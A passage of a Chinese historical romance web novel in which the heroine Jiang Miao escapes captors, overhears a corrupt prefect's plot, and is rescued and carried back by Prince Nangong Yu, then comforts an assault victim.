汉子深吸一口气,压下心中的愤怒,如同拎小鸡一般将江渺从地上拎起来,又沉默地俯身下去捡起碎瓷片,冷声道:“只有这个,吃不吃?”
像是被他骇人的气息吓到,江渺收起脸上的娇蛮,畏惧道:“吃……”
汉子斜睨她一眼,最终没说什么,转身出去了。
房门关上,室内再次陷入昏暗与宁静之中,江渺握紧手中的碎瓷片,嘴角勾起一抹得逞的笑。
她再次尝试挣脱绳索,手腕因为用力而磨得生疼,绳索却纹丝不动。她调整姿势,将碎瓷片放在两手之间,凭感觉上下摩擦起来。
粗糙的陶片边缘刮擦着浸油的麻绳,发出细微的沙沙声,犹如考试时,老师手中的粉笔在黑板上急速写下注意事项一般。清晰可闻的摩擦声,交织着心跳声,在一点一点流逝的时间里,显得都是那样的剧烈。
额头很快渗出冷汗,手腕的皮肤也被磨破,传来火辣辣的刺痛,她咬紧牙关,动作不停。
其间汉子重新端了清粥进来,江渺装作不情愿的喝下几口,待他离开,又重新开工,终于一盏茶过后,手腕处一松,江渺攒劲向左右拉扯,听得蹦的一声,绳索终于断开。
她一刻也不敢耽搁,迅速摸了摸自己身上的东西,好在这群人似乎看她只是女子,并未搜身。
身上火折子,药品具在,有了这些,想要逃出去,多了几分把握。
52.转机
江渺挣脱束缚,快步朝角落的干草走过去,伸手掏出火折子,果断地将干草点燃。
房间潮湿,干草未能直接燃气大火,升腾的烟雾很快就将房间填满。江渺几步来到房门背后,尖叫出声:“救命啊,救命!”
她的叫声凄厉,门外的人疑惑地看向看守的汉子。那汉子本无心理她,却见着门口的缝隙飘出来缕缕青烟,顿觉不妙,指挥着看守将门打开。
就在开门的一瞬,烟雾扑面而来,几人看不清其间的情形,江渺的声音适时停住,仿佛已被烟雾呛到不省人事。
众人一惊,脑海里闪过主子的叮嘱,心下一着急便齐齐朝内里走去,顿时小屋内呛咳声响成一片。那汉子虽然心头疑惑,但情况危急,来不及细想,警惕因此松懈了几分。
江渺见几人涌入,她迅速将怀中的麻药洒向空中,一个箭步夺门而出。
房中几人本就喘着粗气,待他们行至椅子前,却发现那椅子上哪里还有人影。
汉子顿觉中计,大喝一声:“追!”
几人警醒过来,夺门就要追出去,却感觉脚底虚浮,神志涣散,还未踏出房门便已瘫软在地。
汉子心知若是跑了人,必然会被主子问罪,左右难逃一死,伸手拔出腰间匕首,直接在自己的掌心划拉一刀,顿时鲜血飞溅。
疼痛让他的意识逐渐回笼,他顾不得处理伤口,快速地朝林中追去。
果然如所料一般,此处地处山林,周边树丛环绕,杂木丛生。
好在江渺对山间地势熟悉,一路观察草木生长情况,很快就辨别了方向。她沿着江安镇所在的南方朝前,摸索行进不多时便看到了下山的路。
手腕伤口隐隐作痛,衣裙也被树枝划破,顾不上许多,她掰开眼前的灌木就要朝着小路跑去。
突然,前方小径转弯处,忽地传来人语声,以及杂乱的脚步声。
江渺脚步一顿,快速将身形藏在灌木丛中,探头朝人声方向看过去,只见几道人影朝她走来,正是将她绑来的男子与他的随从们。
江渺屏息凝神,左右环顾,确认自己身处之地不易被发现,这才稍稍定下心来,侧耳聆听两人的交谈。
风声呼啸着穿透树林,又传来树叶沙沙的落地之声,那男子低叹一声:“还好我们在昌都也有认识之人,若非此去打听一二,真借我之手杀了侯府千金,怕是问罪下来你我都担待不起。”
幕僚眼珠微转,流露出不安:“老爷,虽说咱们身后站着的是睿王,可这位小姐与陵王关系匪浅,陵王势力如日中天,先不说侯府,若是被陵王得知此事……”
未竟之言让男子沉默了一瞬:“那如何是好。现在人抓了,可上头要的是灭口啊。”
幕僚低声道:“老爷已为睿王尽忠多年,却一直屈居于知州。虽然上面许诺,办好那事之后于您知府之位,可是如今朝廷已经派人下来查案,若是被抓到什么马脚,可是杀头之罪。”
男子不耐烦道:“我不知道吗?”
幕僚沉思片刻,凑近了些:“老爷,依小人看,这或许是个……转机?”
“转机?”男子冷哼。
“老爷请想,上头手段通天,为何不派高手来取这小姐之命?”
“为何?”
“想来是不想让人知道……”
“你是说?”
“对,毕竟是侯府小姐,官家贵眷,若是出事了,必定会惊动朝廷。若是真的出事了,问责下来,老爷您是首当其冲要被问责。”
男子闻言,越发烦躁起来:“那该如何?”
空气瞬间凝重几分,幕僚顿了顿接着道:“既然这位小姐是陵王的人,那我们岂不是歪打正着?陵王可与我们上头那位不对付。咱们若是将此女交给陵王,一来可向陵王示好,卖个人情。二来,我们正好摆脱了上头甩给我们的烫手山芋,人被陵王带走了,是生是死与咱们何干?上头怪罪下来,我们也有说辞,甚至,说不定我们能够借此机会,攀上陵王这条线。”
“那你先前还提议让她做妾,她若是去到陵王面前告我们一状,岂不是更加不妙?”
幕僚摇头:“先前咱们不知道她的真实身份,本是想将她控制在手中,以防万一。我们只需好生款待这位小姐,找个理由糊弄过去,应该也无妨。”
男子眼中光芒闪烁,显然动了心。不由停下脚步,低头思付起幕僚的提议来。
江渺躲在他们前方的树丛中,呼吸都在喉间凝固住。
刘二在江安镇横行霸道,欺男霸女,却无人过问,原来背靠知州大人的大树。据江渺所知,管辖江安镇一带的知州并非姓刘,而刘二称其为姑父,难道这位大人并非本地知州?
他们强抢民女,杀人越货,所谋之事似乎又与某位大人物有关。言语之间提到睿王,陵王,难道是与这两位皇子相关?
依他们所言,这位刘知州是南宫煜的人?
那他们所谋之事与南宫煜有关?
一时间万千思绪在心头缠绕,江渺有些混乱。
南宫煜久居北郡,深受昆城百姓景仰,回到昌都不久,多次向陛下进言多关注民生而被斥责。江渺虽然不知道刘知州为何这样说,但是据她对他的了解,南宫煜断然是不会做出这种丧心病狂,败坏道德之事来。
其间是有何误会。
再说,他们既然知道她的身份,必然对她在昌都痴缠陵王之事有所耳闻,想借她图得晋升之阶,这个如意算盘怕是打错了。
这两人雾里看花,并非摆棋之人,怕是自己的主子究竟是谁也没搞清楚。
但是有一件,他们伙同刘二犯下罪孽,到底是何目的,江渺想知道。
只是眼前她势单力薄,孤身一人绝对斗不过他们,她需要快点脱困,找到南宫煜共商对策为好。
身边之人所言不差,当初投到睿王麾下实属无奈,也是上头言语诱惑。如今已经过了这么久,睿王也毫无起势之像,反倒陵王势头越来越盛。不如趁此机会,弃暗投明,拿出投名状,换个更好的前程?男子左思右想,觉得此计可行,故而不再犹豫,朝着幕僚颔首:“那就这样
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,去把江姑娘接到府中,好生安置。”
此言一出,身后之人齐齐应道:“是。”
他们抬腿朝山中走去,江渺蜷缩在地,听着脚步声渐远,还未松下一口气,忽然身后传来一阵草木响动之声。
不好!
江渺直觉有危险接近,正想要换个位置隐藏身形,却已来不及。
“别跑!”不知为何看守她的汉子没有被麻药迷倒,此时已追踪近她身后数米。
一声厉呵响彻树林,惊起一群飞鸟,连同已经行至十米开外的刘知州等人也被吓到,纷纷转过头寻声往来。
江渺站起身来,朝着汉子大喊:“刘大人,救命!”说完,抬腿就跑,小径两旁皆是树木,以她对山中地势的了解,只要能够跃到对面的山坡之下,借助灌木躲避追踪,尚有一丝成功的可能。
但是那汉子已经上当过一次,一眼看穿了江渺的计谋,并未止住脚步,三步并作两步飞身上来,便将江渺反手钳制在身下。
男女身形悬殊太大,江渺几乎挪动不了半分。
刘知州等人看到这一幕,快步走上前来,脸上充满了不可置信。
汉子见主子出现,立刻躬身行礼,将发生的事情简述了一番。谁能想到看似手无缚鸡之力的少女,能够摆脱看守之人,逃到这路上来。
如果刚才刘知州打算好礼招待江渺,见到这番情景,他心中只剩一个念头,那便是此女留不得了。
不用思考,刚才他与身边人的对话,定是已经被她听去。
不管她是侯府千金,还是陵王的人,这番言论要是被她透露出去,那么他一定会死的更快,如果杀了她,还能给上面交差,后面再寻个由头抽身而去,也比放她回去,为她要不要告密之事担忧来的强。
握不住的沙,那就扬了它。
刘知州快速地与身边之人交换了眼神,两人当下做出决定。幕僚率先上前一步,直言道:“杀了罢。”
“是。”汉子收到命令,应声拔出身上的匕首。
眼瞅着自己命在旦夕,江渺急声喊道:“等等!”
那汉子可不理会江渺的呼喊,手起刀就要落,江渺再次惊呼:“大人,您被骗了!”
“等等!”这次开口的是刘知州。
呼,赌对了。
江渺长舒一口气,睁开眼睛。
“哦?”
汉子在刘知州的示意下暂时收起匕首,但是依旧将她牢牢钳制在身下,江渺也不在意,目光澄澈地望向刘知州:“我说大人,您被骗了。”
“被谁骗了?”江渺之言引起了刘知州的好奇,左右人在自己手上,若她说不出缘由来,再做处置也不迟,若是说的有理,说不定能获取到什么关键信息。
毕竟对方可是侯府千金,陵王的人。
“大人刚才说您是在为睿王办事,可是不假?”
刘知州冷哼一声:“是有如何,不是又如何?”
江渺也不急,将自己的结论先丢出来:“我猜大人应该从未见过睿王殿下吧。”
53.被救
刘知州眸色一沉,江渺所言不差。
自从他被上面那位选中,一路升任至知州之位,看似风光,实则如履薄冰。每逢有要事,那位都是差人来下达指示,莫说睿王的面,就是上头那位是何真面目,他也不知道。他们往来甚为隐秘,寻常人等不可能知道其中关系。
眼前此女,如何得知如此隐蔽之事?陵王与其如此亲密?
面色瞬间转变,若是杀了她,是否会被陵王报复?可若是不杀她,自己的秘密又被她人拿捏,日后岂不是更为被动?
杀与不杀的念头在脑海里撕扯,左右权衡,迟迟没有回答。
江渺见他脸色变幻不定,心下闪过一丝了然,继而追问道:“大人若是连睿王都未曾见过,怎么知道自己所效忠之人不是他人?”
“您如何能确定向你发号施令,行此抄家灭族之事的,当真就是睿王本人?”
“胡说八道!”刘知州心头一颤,厉声吼道:“睿王殿下身份高贵,又远在边关,岂是谁都能得见?自然是有信重之人代为传达……”
“代为传达?”江渺嘴角勾起一个讥诮的弧度,“所以大人效忠的真的是睿王吗?还是某个借睿王之名,暗中编罗网,行此伤天害理之事的歹徒?此人究竟是不是殿下的人,还是别有用心,大人您,可曾细想过?”
她的话语如同万千细如牛毛的针芒,密密麻麻扎在刘知州的心上。脑海中不可控制的闪过这些年那些神秘指令的不合理之处,以及事后被灭口的同伴们……
幕僚在一旁听着,早已是吓得魂飞魄散,此刻见主子心神大乱,忙上前一步试图喝住江渺:“江小姐休要在此处挑拨离间。主子效忠何人心中自有分辨,岂容你在这里胡言乱语?”
江渺嗤笑一声:“大人若是连自己效忠何人都不知道,真的敢杀了我吗?”
她步步紧逼:“睿王殿下坐镇边关十年,剑指北郡,血战蛮族,护的是我大盛山河,保的是黎民百姓不受铁蹄践踏!”
“他在边关,军纪严明,秋毫无犯,深得昆城百姓爱戴。”
“回京之后,殿下屡次上书,所柬何事?是劝说陛下关心朝政,是减免赋税,是疏通漕运 ,是整饬吏治,是安置流民!桩桩件件,哪一件不是为了江山社稷,为了天下苍生?”
“这样一位皇子,”江渺的语气骤然转冷:“会暗中指使你,在远离边关,远离朝堂之地,行那丧尽天良、灭绝人伦的龌龊勾当?!”
一连串质问怼得刘知州半晌说不出话来。
她一女子懂什么?
要想谋得江山,光是一方百姓的支持算什么?殿下当然要做更多的事情获取更多人的支持。
他一介寒门,汲汲营营,攀附权贵,所求不过是权势富贵。
他告诉自己,成大事者不拘小节,殿下宏图大业,自然需要非常手段,需要银钱,需要……一些见不得光的助力。那些女子的哭嚎,那些家庭的破碎,都不过是必要代价。
虽然不明白背后是有何用处,但是这并不是他一个下属应该去猜测的。
但是这女子所言也不差,看她信誓旦旦的样子,并非空穴来风。上面的人为何要去编撰一个假象来蒙蔽他?
像是猜到了刘知州心中所想,江渺接着道:“刘大人,若是他日东窗事发,您落入了万劫不复之地,审问您之人用您的家人子女,荣华富贵,乃至于您的身家性命来威胁您,您会告诉他是谁让您做了这些事情吗?”
刘知州身形猛地一颤,幸得身边幕僚将他及时搀扶住,才免去他跌倒。
刘知州看向江渺的眼神复杂,迟疑了一瞬才说道:“你怎么会知道这些?”
江渺抬眸,凝视刘知州:“大人,您知道的,我是长阳候的女儿。我有能力就你一命。”
刘知州喉头艰难地滚动许久,良久才挤出一句话:“感谢你告诉我这些。”
他微微抬手,江渺脸上浮现几分笑意,正在心想自己的劝说有了效用,还未开口,只听刘知州突然沉声道:“其余的,你去和阎王爷说罢。”
转变来的太快。
他不是已然被她说动吗?为何还要起了杀心?
江渺来不及细想,趁着汉子在发愣之际,一个侧翻身甩脱他的牵制,顺着小径旁的树丛滚下去。
“别让她跑了!”
耳边传来急促命令声混杂着杂草脸颊的刺啦声,迅速伸手攀住一根断木,这才堪堪稳住了身形。她忍着身体的疼痛,果断地爬起来,向着树林深处跑去。
夜色悄悄降临,月光遍洒大地。
后面是穷追不舍的追兵,前路不知何处是归途,但是不跑今夜怕是就要命丧于此处。
借着黑暗的掩护,凭借着大山里学来的生存本领,江渺快速地在树林里穿梭。但是无论她怎么跑,那汉子如同鬼魅一般如影随形,誓要将她捉住,方能罢休。
不知奔跑了有多久,暮色越来越沉,树木被风吹得簌簌作响。江渺未曾用过晚饭,又与敌人周旋已久,此时是强弩之末,疲惫不堪。
她脚下疲软,扶住2一棵大树停歇下来,还未喘口气,忽而问得身后细碎的响声,不作他想,江渺伸手默默地拽住了仅剩的迷药,故作休息姿态,侧耳倾听着声响。
就在声音越来越近,几乎到了耳边之时,江渺猛地反手过来,药粉就要铺洒而出之际,一只手紧紧拽住了她的胳膊。
“放开!”江渺大声厉呵,强烈地挣扎。
“江渺,是我!”熟悉而沉稳的声音倏然在耳边响起。
斗转星移,时间如同转瞬间流逝了许久一般,月光顺着树梢铺洒而下,全数落在来人的身上。
“南宫……南宫煜?”恍若如梦初醒一般,江渺从巨大的震惊中回神过来,她挣扎的力道一松,脚下竟有些站立不稳,整个身子不受控制的向后倾斜。
南宫煜玄色的直缀几乎容于夜色,唯有那双眼眸映着月华,正牢牢地锁在她的脸
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上,伸手将她揽进了自己的臂弯:“是我。别动!”
这是他第二次这样对她说。江渺忽然觉得浑身如脱力一般,不做挣扎。
南宫煜环抱着她脚步一抬,快速地闪身至一丛灌木之后。
紧接着那如影随形的尾巴如期而至,飞身直扑江渺刚才所站的地方,南宫煜将她环抱住,一手拔出佩剑,以迅雷不及掩耳之势破空而出,短促而沉闷的闷哼声在林间响起,片刻又重归于寂静,唯有风过树梢,传来阵阵呜咽声。
继而数道黑影从身后的树林中无声掠出,血气在空气中蔓延。
江渺抬眸看向南宫煜,拉着他衣衫的手倏然攥紧。
像是感觉到江渺的不安,一直凝望着前方树林的南宫煜垂眸下来,便见着怀中少女香腮鬓雪,发丝微乱地贴在额角,即使沾染了泥污与血渍也难掩其芳华。一双明眸充满警惕地看向前方,样子像极了一只受惊的小兔。
南宫煜心中一动,护着她的手不由得又紧了几分,轻声安慰道:“别怕。”
【怕倒是不怕,只是有点紧张罢了。】
【不过有殿下在应该没事了。】
江渺听着南宫煜的话,心中默念几句,还没开口回答,南宫煜又道:“也别紧张。”
……
这人是不是会读心术?
江渺一时止住心中异样的感受,收起思绪,对着南宫煜点点头。
那边声音尽数消散,人影窜动。很快有火光亮起来,三千从人群中走出来,对南宫煜躬身作揖:“爷,人尽数抓起来了。那些杀手,也已解决。”
南宫煜松开江渺,轻哼一句嗯,瞥了一眼地上的尸体,目光又重新落回江渺身上,借着火光他看清了她此刻狼狈的模样。眸色一沉,冷冷道:“全都带回去,本王要亲自审问。”
“是。”三千带人应声退下,林中又暂时回复了宁静。
江渺看着远去的几人,垂眸沉思道:“殿下,这刘知州自称是您的人,说绑架我也是受您的命令。”
南宫煜盯着她,神色有些复杂。
江渺却是浑然不知,犹自说道:“我与他周旋一番,唯一敢肯定的是他也不知道自己受命之人究竟是谁,我猜……”
她话还未说完,南宫煜突然沉声打断她:“你受伤了?”
“啊,皮外伤,不碍事。”江渺下意识地开口回答,顺手还抹了一把脸上的血渍,心头紧绷着的弦松下来,这才想起来问道:“殿下怎会寻来此处?凝姐姐,凝姐姐还好吗?”
她被掳走得突然,不知道南宫凝会不会为她担心,也不知道南宫凝会不会遇到危险,脱口而出就向南宫煜探寻到。
可是等了片刻,也不见南宫煜要作答。
江渺似是习惯了南宫煜这样的态度,又自言自语道:“我得快些回去,失踪了这么久,大家要担心我了。”
“我说……”
南宫煜突然开口,江渺抬眸看过来,目光坦然。
54.关心
“你都已经这样了,在关心其他人之前,可以先关心一下自己吗?”
江渺一愣,几乎疑心自己听岔了。自相识以来,南宫煜何曾对她说过这般……近乎带着责备与关切的长句?
心头掠过一丝异样,却只当是惊魂未定下的错觉,摆了摆手,语气轻松:“我好好的,没事呢。”
这点皮外伤,算什么?她小时候受过太多比这么还严重的伤,不也好好活到现在了,所以她并没有察觉到有什么不妥。
只是跑了太久,有些脚软,还得歇上一歇,恢复点力量才能赶回去。她正欲开口,南宫煜却突然抬手过来,江渺还未来得及反应,只觉腰身一紧,衣摆划出一道弧线,整个人就腾空而起落入了南宫煜的怀中。
什么情况?!!
“殿下?!”江渺惊呼出声,下意识挣扎,“您这是做什么?”
南宫煜不语,薄唇紧,面色冷若冰霜,看得江渺心头一凉。
【我这是……又何处惹着他了?】
她在脑海中飞快思索自己那句话得罪了眼前这尊大佛,苦思不得其解。身子在南宫煜怀中挣扎起来,越挣扎反而却被他更加用力地抱住。
“你方才,唤我什么?”南宫煜不理会她的疑问,径直问道,声音比这林间夜风更冷几分。
挣脱不开,适时放弃。江渺认命地装死,抿唇一言不发。
南宫煜抱着她,身形却依旧迅捷如风,在林木间穿梭。枝叶末梢不时擦过她的脸颊,带来细微的刺痛与凉意。他的声音再次从头顶落下,带着不容回避的坚持:“嗯?唤的什么?”
【唤的什么?唤的什么?还能唤什么?】
“嗯?”
南宫煜抱着她仍然身轻如燕地走得飞快。江渺看着树影在眼前不断变化,心知南宫煜武力高强,若是惹急了他将她扔在此处,以她现在的精神状态,怕是天亮都走不出这片林子,于是也就认真地思考起他的问题。
“睿王殿下,臣女除了叫您殿下还能叫您什么?”略作一思考,反问道:“表哥?”
“不对。”南宫煜否决得干脆利落。
“那……不是殿下,也非表哥,还能是什么?”江渺困惑。
“想。”
江渺咬唇,冥思苦想。目光无意识地落在南宫煜线条流畅的下颌,以及近在咫尺的,微微滚动的喉结之上。
脑海中电光石火般掠过方才脱险时,心神激荡下脱口而出的称呼。
她好像……直呼了他的名讳。
南宫煜。
【糟了!怎会如此失仪僭越!】
【他这般追问,是因我直呼名讳而动怒?】
【大盛礼法,直呼皇子名讳乃大不敬,论罪当罚……】
【该如何分辨,才能……】
江渺闭眼拧眉沉思,长睫不安地颤动,全然沉浸在自己的思量之中。未曾看到南宫煜低头看了她一眼后轻扬起来的嘴角。
夜风掠过耳畔,南宫煜怀抱里的温度透过衣料传来,闭眼后这种感觉尤为清晰。江渺忽觉脸颊有些发烫,方才的理直气壮消失地无影无踪,剩下几分被点破的无措。
她拉紧他的衣衫,声音细若蚊呐:“我,我方才叫了殿下的名字。”
顿了顿,似乎鼓起勇气,重新睁开眼,仰头望向他。
月色疏淡,落进她清亮的眸底,漾开一片澄澈的波光。她望着他,眼神坦然中带着一丝小心翼翼的求证:“但请殿下明鉴,彼时情急,绝非有意冒犯。”
南宫煜步伐未停,甚至未曾低头看她,唯有揽在她腰间的手臂几不可察地收紧了些许。林影飞速向后掠过,他的声音混在夜风里传来,不高,却字字清晰,敲在江渺心上:
“准了。”
嗯?江渺下意识地追问:“殿下是何意思?”
她话音刚落,两人已经飞身到了一片开阔之地,三千等人早已在此等候,在队伍的中央,刘知州和他的下属们已经被尽数捉拿,蹲在地上不敢抬头。
双脚甫一沾地,江渺目光便锁住了那形容狼狈的刘知州,不禁想起躺在床上毫无求生意识的李晴,顿时恨得牙痒痒,控制不住自己想要上前去抓住刘知州拷问他还有多少女子受此大辱。
手腕却骤然被一只温热的手掌扣住。
江渺回身,正撞进南宫煜深潭般的眼眸里。火光跃动在他瞳仁中,映出她小小的身影。他并未看她,目光仍落在前方,双唇却贴近她耳畔,用只有两人能闻的声量,低低道:
“准你,往后皆可直呼我名。”
这一声如同平静地湖面骤然被投入无数的石子,顿时在江渺心头漾开无数涟漪。江渺轻咬下唇,长睫扑闪,似在确认。
南宫煜不语,抬手结果三千递过来的披风,细心地将其系在江渺的脖颈间。随即松开了手,看向前方,仿佛方才那片刻的低语与亲近,全然都是她的错觉。
可是腕间残留的温度,耳畔隐隐传来的灼热感吗,却是无比真实。
“爷,人是交给附近的府衙,还是……”三千躬身请求指示。
南宫煜回头看了江渺一眼,似下了决断,“先带回客栈严加看管。”
“是。”三千率先将人押住朝江安镇走去。
南宫煜举步欲行,却又停下,侧目看向仍在原地的江渺,语气恢复了平日的冷淡:“能行吗?”
江渺点点头,向前走了几步,只感觉脚下还有一些发虚,但是强撑着前行。
南宫煜不语,倏然停下脚步,蹲下来。
“上来。”
嗯?没听错吧?
江渺怔怔然愣在原地,今天发生的事情太多,太过震撼,但是远远没有此刻来得惊悚。
南宫煜的意思是要背她吗?
上一次遇刺他们二人同乘一马,她已然觉得僭越,如今南宫煜竟然要亲自背她回去,这是她所认识的睿王殿下吗?
想了一想觉得这个想法太过荒唐,眼见南宫煜蹲在眼前,江渺挪过去与其一起蹲下。
应该是,殿下应该是在找寻某物,所以……
南宫煜等了片刻没有等到人上来,却等到对方与自己一同蹲下,不禁眉头跳了跳,一脸疑惑地冷言问道:“你这是作什么?”
江渺心虚答:“帮殿下找东西。”
“……”
南宫煜深吸一口气,平日里看她机灵又狡猾,怎么此刻犯了傻,但是甫一抬头又看到她身上的伤,心中的火气消了大半,又一次开口道:“没听到我刚刚说上来?”
这次江渺确定了,南宫煜果然是要背她。但是真的好么?要是被旁人看过去了,会不会给她定一个亵渎皇室的罪名?
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伸出手指,略带疑惑地指了指自己。
南宫煜挑眉:“不然?”
见她还在犹豫,又补充道:“我尚有公务,不要耽误时间。”
好了,原来是担心公务。江渺接受了这个理由,在南宫煜注视的目光里,果断地绕到他的身后,爬上了他的背。
夜风轻拂,南宫煜的体温透过单薄的衣料传来,混杂着淡淡的花果清香萦绕在鼻尖,江渺蓦地脸又红了。
此处离客栈并不算远,江渺却觉得这一路走得极为漫长,强压着心中的杂念不敢胡思乱想,南宫煜却在此时轻轻咳嗽了一声。
暧昧的气氛忽地被打破。江渺想起来他身上的伤虽然已经好了,但是体内的毒素一日不除,必然会一日更比一日虚弱下去。
不知是不是毒素的原因让他突然咳嗽。
想到这里江渺忽然觉得良心不安,她居然让一个病人受累背她回家。犹豫片刻还是试探性的开口道:“要不……放我下来?”
“嗯?”南宫煜顿了顿,语气严肃道:“可以。”
江渺正要高兴,南宫煜又道:“如果你可以走得比我快的话。”
【那不废话,就算不受伤也走得没有你快。】
江渺心中默默吐槽,最终没有开口。
南宫煜却接着道:“你知道就好。”
以为是南宫煜感受到她安分下来所以才说这样的话,江渺无声地撇了撇嘴巴,不下就不下吧,马上就到了。
脚步声在黑夜里尤为清晰,江渺数着自己的心跳,越发的杂乱起来,深吸一口气,又再次开口打乱了宁静的空气。
“殿下……”
她刚开口,南宫煜就打断她:“我有名字。”
怔愣一瞬,江渺迅速反应过来,有些别扭道:“南宫煜。”
南宫煜满意,虽未开口,脸上却露出了几乎可察的一丝笑容。
江渺清清嗓子问道:“你是不是会读心术?”
“咳咳咳……”此言一出,刚刚还端的清冷架子的王爷忽地脚步一顿,剧烈咳嗽了几声。
江渺错以为南宫煜伤情复发,又在背上挣扎着要下来,语气带着几分连她自己也未曾察觉的担心:“没事吧?是毒素复发了吗?你放我下来,我看看!!”
南宫煜迅速控制好自己的情绪,稳住气息,声音比刚才低沉些许,带着几分暗哑,“无妨。不要担心。”说着,她又将背上的人往上托了托,手臂绕过她的膝弯,揽地更稳当一些。
“怎么不担心,你让我把脉看看!”江渺见他没有放自己下来的意思,只得抓着他的衣衫在他耳边絮絮叨叨:“听到没有?那你告诉我哪里不舒服?”
“莫要乱动。”南宫煜见她一点也不老实,故意佯装要将她扔下来,江渺猝不及防地向下掉落,惊得她下意识地抓紧了他的衣服,南宫煜又适时收手,再次将她稳稳圈在背上:“摔下去,疼得可是你。”
江渺立刻僵住不敢再挣扎。虽然还是担心他的伤,可是又气恼他戏耍她,担忧的话到嘴边却变成了:“谁担心了,我不过是怕你万一有事,我跟着倒霉……”
南宫煜嘴角轻轻一扬,低声道:“放心。”
江渺疑惑:“嗯?”
南宫煜的声音顺着风轻轻传来:“我既然背着你,就不会让你跟着倒霉。”
55.直言
这话听着有些怪怪的。
【意思是,只要和他在一条船上,就会护我周全吗?】
江渺脸颊微热,心中思绪翻飞。
南宫煜忽然轻笑出声,“对。我会用生命护你周全。”
?!!
江渺脑中嗡的一声,霎时一片空白。夜风仿佛停住,虫鸣声也渐行远去,整个世界只剩下这句话,和他背上传来温热的体温。
【这是什么意思?】
【怎么有点看不懂了?】
【不对劲,不对劲,睿王殿下今天好不对劲。】
【我是不是在做梦。对了,在做梦,一定是的。】
用生命……护她周全?即便江渺这辈子,上辈子,上上辈子都没有谈过恋爱,但是这句话怎么听,怎么都像是在表白一样。左思右想,她和南宫煜除了有几次救命的交情以外,并没有什么过多的来往,睿王殿下怎么想的,怎么会看上她?
越想越觉得意外,心里叽里咕噜的劝自己是想多了,但是此情此景,怎么能不让人想多?江渺脸颊顿时绯红,觉得自己如在幻境,所有的一切都不真实极了……
正在她无言以对的时候,南宫煜却像是没事人一般,平静开口:“你作为我的盟友,我不该互你周全吗?”
【原来如此,原来如此。】
【太好了。】
江渺听完,长舒一口气。时局复杂,朝廷动荡,皇室之间的博弈更是生死难料,她不想也不愿意参与到皇室斗争之中,心中唯有将林清月接回来后,便潇洒一人天地间的想法。睿王殿下虽然人还不错,但是不是自己想要停靠的港湾,江渺也不想给自己惹上不必要的是非。
感受到江渺蓦地放松的身体,南宫煜心下一凛。忽然反问道:“还是,你以为我有什么……其他想法?”
他的声音伴随着夜风传来,轻飘飘地落在江渺耳中。
不知为何,她似乎听出了南宫煜语气中藏着几分不悦与探寻。刚刚落回到原处的心有被他这句话轻轻提了起来。
伴君如伴虎啊!
“我,我可不敢妄自揣度,误解殿下的心意。自然是和殿下说的一样,作为盟友的话。”江渺定了定神,将自己那些乱七八糟的念头死死按捺下去,语气多了些恭敬,连她都没有发现自己又重新叫回了殿下。
南宫煜似乎低低“嗯”了一声,辨不出情绪。片刻后,他才缓缓道:“江渺。”
连名带姓,声音甚是平静。
“嗯?”
“你很害怕我?还很怕与我有所牵扯?” 他问得直接,脚步却依旧平稳,仿佛只是随口一问罢了。
江渺在他的背上,看不清他的神情,不知道他是什么意思,沉默了片刻还是坦言道:“殿下天潢贵胄,臣女不过微末之身。况且,殿下所处之地,波涛汹涌,臣女只求安稳度日,无意涉足深水。”
这是她的真心话。原主虽然并没有直接涉及到皇权之争,但是近来江渺时常在想就算原主没有杀害林清月,以侯府与陵王的关系,最终恐怕也会成为皇权斗争之中的牺牲品。
一步踏错便是万劫不复,她不想。
“天潢贵胄、安稳度日……”南宫煜低声重复了一遍这八个字,语气中听不出赞同还是别的,良久才又说道:“罢了。我知道。”
知道?知道什么?听懂她的话了?算了,不想了,江渺信誓旦旦保证道:“但是你放心,无论发生什么,我一定会医好你的病。”
“多谢。”南宫煜低声吐出一言后就是良久的无言。
两人各怀心事走了许久,不多时便已然到了客栈门外。
众人见南宫煜亲自背着江渺回来,皆是一惊。其中只有南宫凝眼里的愕然转瞬即逝,随之剩下的就是了然。
江渺被掳走一日,她也跟着提心吊胆一日,好在有五弟前去营救,这才让她放心下来。她知道,南宫煜一定会把江渺带回来。
南宫煜将江渺放下来,阿洛云杉等人匆忙地围过来,关心一番后,有条不紊地为其安排沐浴。
室内雾气腾腾,江渺褪去逃跑时被划破的衣衫,仔细地检查了一番受伤情况。
所幸都是些皮外伤,只有手腕上因为碎瓷片割绳子的缘故,伤口看起来狰狞些。避开伤口,江渺将自己整个人放到了水桶中,夜间的凉意被一片温暖驱散,紧绷的神经终于得到了片刻的舒缓。
沐浴过后,敷上药,包扎完毕,江渺缩进了温暖的被窝。
迷迷糊糊间,她恍然又想起了南宫煜还没有回答她的问题,南宫煜是不是真会读心术?等有空,她一定要再问问他。想着想着,她便沉沉睡了过去。
不知是不是太累的缘故,一夜无梦。
再醒来时,已经接近第二日中午。
江渺简单梳洗完,先去看了看还昏睡着的李晴。
这一次的变故让李晴深受打击,不知是不是故意逃避,一连多日一直昏睡不醒。
看着李晴面色苍白的躺在床上,江渺不由得攥紧了手中的药碗。
她细心扶起李晴想要喂她喝药,可是药到喉间,却怎么也咽不下去,随后又被吐了出来。
阿洛擦拭掉李晴身上的汤药,有些无奈道:“这几日都是这样,这药喂不进去。”
江渺心下了然,示意阿洛重新端一碗药来,自己则拉着李晴的手道:“李姑娘,我知道你心里苦,知道你恨,知道你觉得自己……没了活路。”
李晴的眼睫轻轻颤动了一下,却依旧没有睁开眼睛。
“你觉得,被那畜生玷污,清白尽毁,往后便只能活在旁人指指点点的阴影里,生不如死,是不是?”江渺缓缓说着,指尖感受着李晴手背皮肤下微弱的脉搏,“你觉得,这世上再无人能懂你的屈辱和绝望,索性将自己彻底封闭起来,最好……永远不要醒来,对不对?”
一滴晶莹的泪水,无声地从李晴紧闭的眼角滑落,没入鬓发。
江渺握紧了她的手,语气陡然转沉,带着斩钉截铁的力道:“可是李晴,你听我说,那个毁了你的畜生刘二,他已经死了!”
在听到刘二已死的一瞬,李晴的手指微微蜷了一蜷,像是想要醒来,却因为沉睡了太久,无法醒来。
江渺更加用力的握住她的手:“他不止害了你,手上还沾着其他无辜女子的血债。如今,他连同他背后的靠山,都已经伏法。就在昨日,主使这一切的人,也已被擒获。”
她说着,又端起阿洛送进来的汤药,接着道:“李姑娘,你的仇已经报了,但是这件事情还没结束,还有更多与你一样深受其害的女子们,正等着
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人去救她们,正等着沉冤得雪。”
“你得活着,活着看这些恶魔们得到他们应有的惩罚,活着,去救那些与你一样的女子们。”
江渺话语轻轻,却声音无比坚定。她将汤药喂进李晴的口中,这一次她没有再抗拒,虽然慢,却也多少喝进去了一些。
阿洛看着李晴终于肯喝药,不由的为小姐点了一个赞。
